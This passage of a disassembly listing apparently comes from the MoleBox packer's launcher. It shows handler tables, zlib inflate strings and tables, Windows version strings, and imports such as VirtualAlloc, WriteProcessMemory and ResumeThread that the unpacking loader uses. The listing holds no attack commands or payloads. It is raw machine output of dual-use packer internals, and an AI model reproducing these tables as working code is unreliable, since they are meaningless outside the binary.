; DATA XREF: sub_415B59+5o dd offset sub_416029 align 10h dword_421400 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_416C60+5o dd offset sub_41734E dd 0 dd offset loc_417100 dd offset loc_417131 dword_421418 dd 0FFFFFFFFh, 0 ; DATA XREF: _3:004173B5o dd offset dword_417B48+4BCh align 8 dword_421428 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_418070+5o dd offset sub_41827C align 8 dword_421438 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4182B0+5o dd offset sub_418371 align 8 dword_421448 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41839F+5o dd offset sub_41845F align 8 dword_421458 dd 0FFFFFFFFh, 418E48h, 418E5Bh, 0 ; DATA XREF: sub_418B90+5o dd offset loc_418D10 dd offset loc_418D24 dword_421470 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_418F16+5o dd offset loc_41917B align 10h dword_421480 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_419393+5o dd offset sub_419405 align 10h dword_421490 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_419529+5o dd offset nullsub_2 align 10h dd offset loc_419731 dd offset loc_41973A dd 0 dd offset loc_419854 dd offset loc_41985D align 8 dword_4214B8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_419995+5o dd offset sub_41A789 align 8 dd offset sub_41A28B dd offset sub_41A294 dd 1, 0 dd offset sub_41A240 align 10h dword_4214E0 dd 0FFFFFFFFh, 41A9D3h, 41AA0Dh ; DATA XREF: sub_41A8B3+5o off_4214EC dd offset aMoleboxLaunche ; DATA XREF: sub_41BAF1+13r ; sub_41C317+252r ; "MoleBox launcher fatal error" off_4214F0 dd offset aAssertionFai_0 ; DATA XREF: sub_413056+B6r ; sub_41396C+BFr ... ; "ASSERTION failed" off_4214F4 dd offset aStripped ; DATA XREF: sub_413056+BEr ; sub_41396C+C7r ... ; "<stripped>" dword_4214F8 dd 0FFFFFFFFh, 41BB62h, 41BB66h, 0 ; DATA XREF: sub_41BB26+5o dword_421508 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41BC28+5o dd offset loc_41BDEC align 8 dword_421518 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41BE16+5o dd offset sub_41BE9B align 8 dword_421528 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41BEBA+5o dd offset sub_41BF54 align 8 dword_421538 dd 0FFFFFFFFh, 41C2EBh, 41C2EFh, 0 ; DATA XREF: sub_41C106+5o dword_421548 dd 0FFFFFFFFh, 41C6D0h, 41C6D4h, 0 ; DATA XREF: sub_41C5E3+5o dword_421558 dd 0FFFFFFFFh, 41C91Ch, 41C920h, 0FFFFFFFFh, 41C995h, 41C999h ; DATA XREF: sub_41C87E+5o dword_421570 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41CBF6+5o dd offset loc_41CCF3 align 10h dword_421580 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41CD16+5o dd offset sub_41CD74 align 10h dword_421590 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41CE67+5o dd offset loc_41CF7B align 10h dword_4215A0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41CF9E+5o dd offset loc_41D080 dword_4215AC dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 ; DATA XREF: sub_41D40A+FBo ; sub_41D40A+15Fo ... dword_4215BC dd 33696467h, 6C642E32h, 6Ch ; DATA XREF: sub_41D40A+10Fo ; sub_41E519+5o ... dword_4215C8 dd 72657375h, 642E3233h, 6C6Ch ; DATA XREF: sub_41D40A+123o dword_4215D4 dd 33656C6Fh, 6C642E32h, 6Ch, 61766461h, 32336970h, 6C6C642Eh ; DATA XREF: sub_41CBF6+C2o ; sub_41CE67+6Eo ... dd 0 dword_4215F0 dd 61656C6Fh, 32337475h, 6C6C642Eh, 0 ; DATA XREF: sub_41D0A3+30o ; sub_41D112+6Fo ... aSetunhandled_0 db 'SetUnhandledExceptionFilter',0 ; DATA XREF: _5:00424224o aCreatefilea_0 db 'CreateFileA',0 ; DATA XREF: _5:0042422Co aCreatefilew_0 db 'CreateFileW',0 ; DATA XREF: _5:00424234o aReadfile_0 db 'ReadFile',0 ; DATA XREF: _5:0042424Co align 10h aClosehandle_0 db 'CloseHandle',0 ; DATA XREF: _5:00424254o aSetfilepoint_0 db 'SetFilePointer',0 ; DATA XREF: _5:0042425Co align 4 aGetfilesize_0 db 'GetFileSize',0 ; DATA XREF: _5:00424264o aExitprocess_0 db 'ExitProcess',0 ; DATA XREF: _5:0042426Co aCreatefilema_1 db 'CreateFileMappingA',0 ; DATA XREF: _5:00424274o align 4 aCreatefilema_2 db 'CreateFileMappingW',0 ; DATA XREF: _5:0042427Co align 4 aLoadlibrarya_0 db 'LoadLibraryA',0 ; DATA XREF: _5:0042429Co align 4 aLoadlibraryw db 'LoadLibraryW',0 ; DATA XREF: _5:004242A4o align 4 aLoadlibrarye_0 db 'LoadLibraryExA',0 ; DATA XREF: _5:004242ACo align 4 aLoadlibraryexw db 'LoadLibraryExW',0 ; DATA XREF: _5:004242B4o align 4 aFreelibrary_0 db 'FreeLibrary',0 ; DATA XREF: _5:00424294o aGetprocaddre_0 db 'GetProcAddress',0 ; DATA XREF: _5:004242BCo align 4 aLoadimagea_0 db 'LoadImageA',0 ; DATA XREF: _5:0042438Co align 4 aMapviewoffil_0 db 'MapViewOfFile',0 ; DATA XREF: _5:00424284o align 4 aUnmapviewoff_0 db 'UnmapViewOfFile',0 ; DATA XREF: _5:0042428Co aGetfileattri_1 db 'GetFileAttributesA',0 ; DATA XREF: _5:0042423Co align 4 aGetfileattri_2 db 'GetFileAttributesW',0 ; DATA XREF: _5:00424244o align 4 aGetmodulehan_0 db 'GetModuleHandleA',0 ; DATA XREF: _5:0042431Co align 10h aGetmodulehan_1 db 'GetModuleHandleW',0 ; DATA XREF: _5:00424324o align 4 aGetmodulefil_0 db 'GetModuleFileNameA',0 ; DATA XREF: _5:00424374o align 4 aSearchpathw db 'SearchPathW',0 ; DATA XREF: sub_41D85C+B2o ; _5:0042432Co aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_41D7FD+Do ; _5:00424334o aAddfontresou_0 db 'AddFontResourceA',0 ; DATA XREF: sub_41E519+Ao ; _5:0042437Co align 4 aRemovefontre_0 db 'RemoveFontResourceA',0 ; DATA XREF: sub_41E552+Ao ; _5:00424384o aFindfirstfil_0 db 'FindFirstFileA',0 ; DATA XREF: _5:004242C4o align 4 aFindfirstfilew db 'FindFirstFileW',0 ; DATA XREF: sub_41D997+92o ; _5:004242CCo align 4 aFindclose_0 db 'FindClose',0 ; DATA XREF: _5:004242DCo align 4 aFindnextfile_0 db 'FindNextFileA',0 ; DATA XREF: _5:004242E4o align 4 aFindnextfilew db 'FindNextFileW',0 ; DATA XREF: sub_41DC8D+2Eo ; _5:004242ECo align 4 aFindfirstfilee db 'FindFirstFileExW',0 ; DATA XREF: sub_41DAE0+92o ; _5:004242D4o align 4 a_lopen db '_lopen',0 ; DATA XREF: sub_41E911+25o ; _5:004242FCo align 10h aOpenfile db 'OpenFile',0 ; DATA XREF: sub_41E85D+93o ; _5:004242F4o align 4 a_lread db '_lread',0 ; DATA XREF: sub_41E9EC+27o ; _5:0042430Co align 4 a_llseek db '_llseek',0 ; DATA XREF: sub_41E9A7+20o ; _5:00424314o a_lclose db '_lclose',0 ; DATA XREF: sub_41E952+23o ; _5:00424304o aCocreateinstan db 'CoCreateInstance',0 ; DATA XREF: sub_41CBF6+C7o ; _5:00424394o align 4 aCocreateinst_0 db 'CoCreateInstanceEx',0 ; DATA XREF: sub_41CE67+73o ; _5:0042439Co align 4 aCogetclassobje db 'CoGetClassObject',0 ; DATA XREF: sub_41CF9E+ACo ; _5:004243A4o align 10h aGetprivatepr_2 db 'GetPrivateProfileStringA',0 ; DATA XREF: _5:0042433Co align 4 aGetprivatepr_3 db 'GetPrivateProfileIntA',0 ; DATA XREF: _5:00424344o align 4 aGetprivatepr_4 db 'GetPrivateProfileSectionNamesA',0 ; DATA XREF: _5:0042434Co align 4 aGetprivatepr_5 db 'GetPrivateProfileSectionA',0 ; DATA XREF: _5:00424354o align 10h aGetfileinfor_0 db 'GetFileInformationByHandle',0 ; DATA XREF: _5:0042435Co align 4 aLockfile_0 db 'LockFile',0 ; DATA XREF: _5:00424364o align 4 aLockfileex db 'LockFileEx',0 align 4 aUnlockfile_0 db 'UnlockFile',0 ; DATA XREF: _5:0042436Co align 10h aUnlockfileex db 'UnlockFileEx',0 align 10h aGetrecordinf_0 db 'GetRecordInfoFromGuids',0 ; DATA XREF: sub_41D112+D2o ; _5:004243ACo align 4 aGetrecordinfof db 'GetRecordInfoFromTypeInfo',0 ; DATA XREF: sub_41D0A3+35o align 4 aLoadregtypelib db 'LoadRegTypeLib',0 ; DATA XREF: sub_41D21A+84o ; _5:004243B4o align 4 aLoadtypelib db 'LoadTypeLib',0 ; DATA XREF: sub_41D112+74o ; sub_41D21A+4Fo dword_4219A0 dd 0FFFFFFFFh, 41D74Bh, 41D74Fh, 0FFFFFFFFh, 41D75Fh, 41D763h ; DATA XREF: sub_41D6FE+5o dd 0FFFFFFFFh, 41D780h, 41D784h, 0FFFFFFFFh, 41D794h, 41D798h dd 0FFFFFFFFh, 41D7B9h, 41D7BDh, 0FFFFFFFFh, 41D7CDh, 41D7D1h dword_4219E8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D85C+5o dd offset loc_41D947 align 8 dword_4219F8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D997+5o dd offset sub_41DAB6 align 8 dword_421A08 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41DAE0+5o dd offset sub_41DC0B align 8 dword_421A18 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41DE13+5o dd offset sub_41DEBC align 8 dword_421A28 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41E184+5o dd offset loc_41E20C align 8 dword_421A38 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41E28E+5o dd offset sub_41E31A align 8 dword_421A48 dd 0FFFFFFFFh, 41E3AFh, 41E3B3h, 0FFFFFFFFh, 0 ; DATA XREF: sub_41E33E+5o dd offset sub_41E42A dword_421A60 dd 0FFFFFFFFh, 41E49Fh, 41E4A3h, 0 ; DATA XREF: sub_41E45A+5o dword_421A70 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41E5D9+5o dd offset sub_41E68C dword_421A7C dd 0 ; DATA XREF: sub_410A10+57o ; sub_410D4F+52o dword_421A80 dd 2 dup(0) ; DATA XREF: sub_410A10+36o ; sub_410D4F+39o dword_421A88 dd 0FFFFFFFFh, 410B20h, 410B24h, 0FFFFFFFFh, 410BD4h, 410BD8h ; DATA XREF: sub_410A10+5o dword_421AA0 dd 0FFFFFFFFh, 410E48h, 410E4Ch, 21AE8h, 2 dup(0) ; DATA XREF: sub_410D4F+5o dd 21C1Ch, 21000h, 21B34h, 2 dup(0) dd 21C3Ch, 2104Ch, 5 dup(0) dd 21B3Ch, 21B58h, 21B6Ah, 21B76h, 21B88h, 21B96h, 21BAAh dd 21BC2h, 21BDAh, 21BEAh, 21C00h, 21CA0h, 21C90h, 21C48h dd 21C54h, 21C6Ah, 21C80h, 21CB2h, 0 dd 21C2Ah, 0 db 0AAh ; ª db 1, 49h, 6Eh aItializecritic db 'itializeCriticalSection',0 dd 6547013Eh, 6F725074h, 64644163h, 73736572h, 1CC0000h dd 61636F4Ch, 6572466Ch, 20B0065h, 73696152h, 63784565h dd 69747065h, 6E6Fh, 6F4C01C8h, 416C6163h, 636F6C6Ch, 1260000h dd 4D746547h, 6C75646Fh, 6E614865h, 41656C64h, 1C10000h aLeavecritica_0 db 'LeaveCriticalSection',0 align 2 aF_0 db 'f',0 aEntercritica_0 db 'EnterCriticalSection',0 align 2 dw 22Ch aResumethread db 'ResumeThread',0 align 2 dw 2E9h aWriteprocessme db 'WriteProcessMemory',0 align 10h db 36h ; 6 db 1, 47h, 65h aTprivateprofil db 'tPrivateProfileSectionA',0 aKernel32_dll_0 db 'KERNEL32.dll',0 align 2 aD db '„',0 aDefwindowpro_0 db 'DefWindowProcA',0 align 4 aUser32_dll_0 db 'USER32.dll',0 align 4 db 2Fh ; / db 2, 52h, 74h aLunwind db 'lUnwind',0 db 0D2h ; Ò db 2, 57h, 69h aDechartomultib db 'deCharToMultiByte',0 dw 1E4h aMultibytetow_0 db 'MultiByteToWideChar',0 dd 434C01BFh, 5370614Dh, 6E697274h, 4167h, 434C01C0h, 5370614Dh dd 6E697274h, 5767h, 65470153h, 72745374h, 54676E69h, 41657079h dd 1560000h, 53746547h, 6E697274h, 70795467h, 5765h _4 ends ; Section 6. (virtual address 00022000) ; Virtual size : 00007070 ( 28784.) ; Section size in file : 00007070 ( 28784.) ; Offset to raw data for section: 00022000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _5 segment para public 'CODE' use32 assume cs:_5 ;org 422000h assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing aInvalidBitLeng db 'invalid bit length repeat',0 ; DATA XREF: sub_41EF26+81Do align 4 aTooManyLengthO db 'too many length or distance symbols',0 ; DATA XREF: sub_41EF26+783o aInvalidStoredB db 'invalid stored block lengths',0 ; DATA XREF: sub_41EF26+6CCo align 10h aInvalidBlockTy db 'invalid block type',0 ; DATA XREF: sub_41EF26+66Bo align 4 aInvalidDistanc db 'invalid distance code',0 ; DATA XREF: sub_41F8F5+4BBo ; sub_41FEC6+23Eo align 4 aInvalidLiteral db 'invalid literal/length code',0 ; DATA XREF: sub_41F8F5+486o ; sub_41FEC6+28Do byte_4220A8 db 31h ; DATA XREF: sub_42021C+15r ; sub_420CCE+2Fo db 2Eh, 31h, 2Eh dd 34h aNeedDictionary db 'need dictionary',0 ; DATA XREF: sub_42031E+307o aIncorrectDataC db 'incorrect data check',0 ; DATA XREF: sub_42031E+230o align 4 aIncorrectHeade db 'incorrect header check',0 ; DATA XREF: sub_42031E+ECo align 10h aInvalidWindowS db 'invalid window size',0 ; DATA XREF: sub_42031E+9Co aUnknownCompres db 'unknown compression method',0 ; DATA XREF: sub_42031E+79o align 10h dword_422120 dd 9 ; DATA XREF: sub_420B8A+6r dword_422124 dd 5 ; DATA XREF: sub_420B8A+11r dword_422128 dd 760h, 100h, 800h, 50h, 800h, 10h, 854h, 73h, 752h, 1Fh ; DATA XREF: sub_420B8A+1Co dd 800h, 70h, 800h, 30h, 900h, 0C0h, 750h, 0Ah, 800h, 60h dd 800h, 20h, 900h, 0A0h, 800h, 0 dd 800h, 80h, 800h, 40h, 900h, 0E0h, 750h, 6, 800h, 58h dd 800h, 18h, 900h, 90h, 753h, 3Bh, 800h, 78h, 800h, 38h dd 900h, 0D0h, 751h, 11h, 800h, 68h, 800h, 28h, 900h, 0B0h dd 800h, 8, 800h, 88h, 800h, 48h, 900h, 0F0h, 750h, 4 dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh, 800h, 74h dd 800h, 34h, 900h, 0C8h, 751h, 0Dh, 800h, 64h, 800h, 24h dd 900h, 0A8h, 800h, 4, 800h, 84h, 800h, 44h, 900h, 0E8h dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h, 98h, 754h, 53h dd 800h, 7Ch, 800h, 3Ch, 900h, 0D8h, 752h, 17h, 800h, 6Ch dd 800h, 2Ch, 900h, 0B8h, 800h, 0Ch, 800h, 8Ch, 800h, 4Ch dd 900h, 0F8h, 750h, 3, 800h, 52h, 800h, 12h, 855h, 0A3h dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C4h, 751h, 0Bh dd 800h, 62h, 800h, 22h, 900h, 0A4h, 800h, 2, 800h, 82h dd 800h, 42h, 900h, 0E4h, 750h, 7, 800h, 5Ah, 800h, 1Ah dd 900h, 94h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D4h dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B4h, 800h, 0Ah dd 800h, 8Ah, 800h, 4Ah, 900h, 0F4h, 750h, 5, 800h, 56h dd 800h, 16h, 8C0h, 0 dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CCh, 751h, 0Fh dd 800h, 66h, 800h, 26h, 900h, 0ACh, 800h, 6, 800h, 86h dd 800h, 46h, 900h, 0ECh, 750h, 9, 800h, 5Eh, 800h, 1Eh dd 900h, 9Ch, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DCh dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BCh, 800h, 0Eh dd 800h, 8Eh, 800h, 4Eh, 900h, 0FCh, 760h, 100h, 800h dd 51h, 800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h dd 31h, 900h, 0C2h, 750h, 0Ah, 800h, 61h, 800h, 21h, 900h dd 0A2h, 800h, 1, 800h, 81h, 800h, 41h, 900h, 0E2h, 750h dd 6, 800h, 59h, 800h, 19h, 900h, 92h, 753h, 3Bh, 800h dd 79h, 800h, 39h, 900h, 0D2h, 751h, 11h, 800h, 69h, 800h dd 29h, 900h, 0B2h, 800h, 9, 800h, 89h, 800h, 49h, 900h dd 0F2h, 750h, 4, 800h, 55h, 800h, 15h, 850h, 102h, 753h dd 2Bh, 800h, 75h, 800h, 35h, 900h, 0CAh, 751h, 0Dh, 800h dd 65h, 800h, 25h, 900h, 0AAh, 800h, 5, 800h, 85h, 800h dd 45h, 900h, 0EAh, 750h, 8, 800h, 5Dh, 800h, 1Dh, 900h dd 9Ah, 754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DAh, 752h dd 17h, 800h, 6Dh, 800h, 2Dh, 900h, 0BAh, 800h, 0Dh, 800h dd 8Dh, 800h, 4Dh, 900h, 0FAh, 750h, 3, 800h, 53h, 800h dd 13h, 855h, 0C3h, 753h, 23h, 800h, 73h, 800h, 33h, 900h dd 0C6h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h, 0A6h, 800h dd 3, 800h, 83h, 800h, 43h, 900h, 0E6h, 750h, 7, 800h dd 5Bh, 800h, 1Bh, 900h, 96h, 754h, 43h, 800h, 7Bh, 800h dd 3Bh, 900h, 0D6h, 752h, 13h, 800h, 6Bh, 800h, 2Bh, 900h dd 0B6h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h, 0F6h, 750h dd 5, 800h, 57h, 800h, 17h, 8C0h, 0 dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CEh, 751h, 0Fh dd 800h, 67h, 800h, 27h, 900h, 0AEh, 800h, 7, 800h, 87h dd 800h, 47h, 900h, 0EEh, 750h, 9, 800h, 5Fh, 800h, 1Fh dd 900h, 9Eh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DEh dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BEh, 800h, 0Fh dd 800h, 8Fh, 800h, 4Fh, 900h, 0FEh, 760h, 100h, 800h dd 50h, 800h, 10h, 854h, 73h, 752h, 1Fh, 800h, 70h, 800h dd 30h, 900h, 0C1h, 750h, 0Ah, 800h, 60h, 800h, 20h, 900h dd 0A1h, 800h, 0 dd 800h, 80h, 800h, 40h, 900h, 0E1h, 750h, 6, 800h, 58h dd 800h, 18h, 900h, 91h, 753h, 3Bh, 800h, 78h, 800h, 38h dd 900h, 0D1h, 751h, 11h, 800h, 68h, 800h, 28h, 900h, 0B1h dd 800h, 8, 800h, 88h, 800h, 48h, 900h, 0F1h, 750h, 4 dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh, 800h, 74h dd 800h, 34h, 900h, 0C9h, 751h, 0Dh, 800h, 64h, 800h, 24h dd 900h, 0A9h, 800h, 4, 800h, 84h, 800h, 44h, 900h, 0E9h dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h, 99h, 754h, 53h dd 800h, 7Ch, 800h, 3Ch, 900h, 0D9h, 752h, 17h, 800h, 6Ch dd 800h, 2Ch, 900h, 0B9h, 800h, 0Ch, 800h, 8Ch, 800h, 4Ch dd 900h, 0F9h, 750h, 3, 800h, 52h, 800h, 12h, 855h, 0A3h dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C5h, 751h, 0Bh dd 800h, 62h, 800h, 22h, 900h, 0A5h, 800h, 2, 800h, 82h dd 800h, 42h, 900h, 0E5h, 750h, 7, 800h, 5Ah, 800h, 1Ah dd 900h, 95h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D5h dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B5h, 800h, 0Ah dd 800h, 8Ah, 800h, 4Ah, 900h, 0F5h, 750h, 5, 800h, 56h dd 800h, 16h, 8C0h, 0 dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CDh, 751h, 0Fh dd 800h, 66h, 800h, 26h, 900h, 0ADh, 800h, 6, 800h, 86h dd 800h, 46h, 900h, 0EDh, 750h, 9, 800h, 5Eh, 800h, 1Eh dd 900h, 9Dh, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DDh dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BDh, 800h, 0Eh dd 800h, 8Eh, 800h, 4Eh, 900h, 0FDh, 760h, 100h, 800h dd 51h, 800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h dd 31h, 900h, 0C3h, 750h, 0Ah, 800h, 61h, 800h, 21h, 900h dd 0A3h, 800h, 1, 800h, 81h, 800h, 41h, 900h, 0E3h, 750h dd 6, 800h, 59h, 800h, 19h, 900h, 93h, 753h, 3Bh, 800h dd 79h, 800h, 39h, 900h, 0D3h, 751h, 11h, 800h, 69h, 800h dd 29h, 900h, 0B3h, 800h, 9, 800h, 89h, 800h, 49h, 900h dd 0F3h, 750h, 4, 800h, 55h, 800h, 15h, 850h, 102h, 753h dd 2Bh, 800h, 75h, 800h, 35h, 900h, 0CBh, 751h, 0Dh, 800h dd 65h, 800h, 25h, 900h, 0ABh, 800h, 5, 800h, 85h, 800h dd 45h, 900h, 0EBh, 750h, 8, 800h, 5Dh, 800h, 1Dh, 900h dd 9Bh, 754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DBh, 752h dd 17h, 800h, 6Dh, 800h, 2Dh, 900h, 0BBh, 800h, 0Dh, 800h dd 8Dh, 800h, 4Dh, 900h, 0FBh, 750h, 3, 800h, 53h, 800h dd 13h, 855h, 0C3h, 753h, 23h, 800h, 73h, 800h, 33h, 900h dd 0C7h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h, 0A7h, 800h dd 3, 800h, 83h, 800h, 43h, 900h, 0E7h, 750h, 7, 800h dd 5Bh, 800h, 1Bh, 900h, 97h, 754h, 43h, 800h, 7Bh, 800h dd 3Bh, 900h, 0D7h, 752h, 13h, 800h, 6Bh, 800h, 2Bh, 900h dd 0B7h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h, 0F7h, 750h dd 5, 800h, 57h, 800h, 17h, 8C0h, 0 dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CFh, 751h, 0Fh dd 800h, 67h, 800h, 27h, 900h, 0AFh, 800h, 7, 800h, 87h dd 800h, 47h, 900h, 0EFh, 750h, 9, 800h, 5Fh, 800h, 1Fh dd 900h, 9Fh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DFh dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BFh, 800h, 0Fh dd 800h, 8Fh, 800h, 4Fh, 900h, 0FFh dword_423128 dd 550h, 1, 557h, 101h, 553h, 11h, 55Bh, 1001h, 551h, 5 ; DATA XREF: sub_420B8A+25o dd 559h, 401h, 555h, 41h, 55Dh, 4001h, 550h, 3, 558h, 201h dd 554h, 21h, 55Ch, 2001h, 552h, 9, 55Ah, 801h, 556h, 81h dd 5C0h, 6001h, 550h, 2, 557h, 181h, 553h, 19h, 55Bh, 1801h dd 551h, 7, 559h, 601h, 555h, 61h, 55Dh, 6001h, 550h, 4 dd 558h, 301h, 554h, 31h, 55Ch, 3001h, 552h, 0Dh, 55Ah dd 0C01h, 556h, 0C1h, 5C0h, 6001h aIncompleteDyna db 'incomplete dynamic bit lengths tree',0 ; DATA XREF: sub_420681+66o aOversubscribed db 'oversubscribed dynamic bit lengths tree',0 ; DATA XREF: sub_420681+4Eo aIncompleteLite db 'incomplete literal/length tree',0 ; DATA XREF: sub_420A87:loc_420B6Co align 4 aOversubscrib_1 db 'oversubscribed literal/length tree',0 ; DATA XREF: sub_420A87+D7o align 4 aEmptyDistanceT db 'empty distance tree with lengths',0 ; DATA XREF: sub_420A87:loc_420B50o align 4 aIncompleteDist db 'incomplete distance tree',0 ; DATA XREF: sub_420A87+BBo align 4 aOversubscrib_0 db 'oversubscribed distance tree',0 ; DATA XREF: sub_420A87+ADo align 4 dword_423318 dd 0 ; DATA XREF: sub_41EF26:loc_41F35Ar ; sub_41EF26+4C0r ... dd 1, 3, 7, 0Fh, 1Fh, 3Fh, 7Fh, 0FFh, 1FFh, 3FFh, 7FFh dd 0FFFh, 1FFFh, 3FFFh, 7FFFh, 0FFFFh aGetcurrentproc db 'GetCurrentProcess',0 ; DATA XREF: sub_411310+1E4o ; sub_412300+16Bo align 10h aFlushinstructi db 'FlushInstructionCache',0 ; DATA XREF: sub_411310:loc_4114E0o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_411310+1ABo ; sub_411DF0+1Do ... align 4 aBarier db 'BARIER',0 ; DATA XREF: sub_411310+4Co align 10h aWindowsntUnkno db 'WindowsNT(unknown)',0 ; DATA XREF: _3:loc_4121F5o ; _3:loc_412201o align 4 aWindows_net db 'Windows.NET',0 ; DATA XREF: _3:004121E9o aWindowsxp db 'WindowsXP',0 ; DATA XREF: _3:004121D1o align 4 aWindows2000 db 'Windows2000',0 ; DATA XREF: _3:004121B9o aWindowsnt4_0 db 'WindowsNT(4.0)',0 ; DATA XREF: _3:00412195o align 4 aWindowsnt3_51 db 'WindowsNT(3.51)',0 ; DATA XREF: _3:0041217Ao aWindows9xUnkno db 'Windows9x(unknown)',0 ; DATA XREF: _3:loc_41215Fo align 4 aWindowsme db 'WindowsMe',0 ; DATA XREF: _3:00412153o align 4 aWindows98 db 'Windows98',0 ; DATA XREF: _3:0041213Bo align 4 aWindows95 db 'Windows95',0 ; DATA XREF: _3:00412123o align 10h aWin32s db 'win32s',0 ; DATA XREF: _3:loc_412108o align 4 aVirtualalloc db 'VirtualAlloc',0 ; DATA XREF: _3:loc_411EB9o ; sub_412300+52Bo align 4 aCreatethread db 'CreateThread',0 ; DATA XREF: sub_412300+86Do align 4 aPostmessagea db 'PostMessageA',0 ; DATA XREF: sub_412300+859o align 4 aDefwindowproca db 'DefWindowProcA',0 ; DATA XREF: sub_412300+845o align 4 aEnumwindows db 'EnumWindows',0 ; DATA XREF: sub_412300+831o aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_412300+81Do align 4 aDispatchmessag db 'DispatchMessageA',0 ; DATA XREF: sub_412300+809o align 4 aTranslatemessa db 'TranslateMessage',0 ; DATA XREF: sub_412300+7F5o align 4 aGetmessagea db 'GetMessageA',0 ; DATA XREF: sub_412300+7E1o aCreatewindowex db 'CreateWindowExA',0 ; DATA XREF: sub_412300+7CDo aGetsystemmetri db 'GetSystemMetrics',0 ; DATA XREF: sub_412300+7B9o align 4 aRegisterclasse db 'RegisterClassExA',0 ; DATA XREF: sub_412300+7A5o align 10h aSetforegroundw db 'SetForegroundWindow',0 ; DATA XREF: sub_412300+791o aSetactivewindo db 'SetActiveWindow',0 ; DATA XREF: sub_412300+77Do aGetwindowthrea db 'GetWindowThreadProcessId',0 ; DATA XREF: sub_412300+769o align 10h aBitblt db 'BitBlt',0 ; DATA XREF: sub_412300+755o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_412300+741o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_412300+72Do align 4 aGetobjecta db 'GetObjectA',0 ; DATA XREF: sub_412300+719o align 4 aEndpaint db 'EndPaint',0 ; DATA XREF: sub_412300+705o align 10h aBeginpaint db 'BeginPaint',0 ; DATA XREF: sub_412300+6F1o align 4 aRemovefontreso db 'RemoveFontResourceA',0 ; DATA XREF: sub_412300+6DDo aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_412300+6C9o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_412300+6B5o align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_412300+6A1o align 4 aAddfontresourc db 'AddFontResourceA',0 ; DATA XREF: sub_412300:loc_41298Do align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_412300+668o align 4 aWvsprintfa db 'wvsprintfA',0 ; DATA XREF: sub_412300+654o align 10h aWsprintfa db 'wsprintfA',0 ; DATA XREF: sub_412300+640o align 4 aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_412300+62Co aLoadimagea db 'LoadImageA',0 ; DATA XREF: sub_412300+618o align 4 aCharupperbuffa db 'CharUpperBuffA',0 ; DATA XREF: sub_412300+604o align 4 aChangedisplays db 'ChangeDisplaySettingsA',0 ; DATA XREF: sub_412300:loc_4128F0o align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_412300+5CBo align 4 aLstrcmpia db 'lstrcmpiA',0 ; DATA XREF: sub_412300+5B7o align 4 aWritefile db 'WriteFile',0 ; DATA XREF: sub_412300+5A3o ; sub_41D579+153o align 10h aWidechartomult db 'WideCharToMultiByte',0 ; DATA XREF: 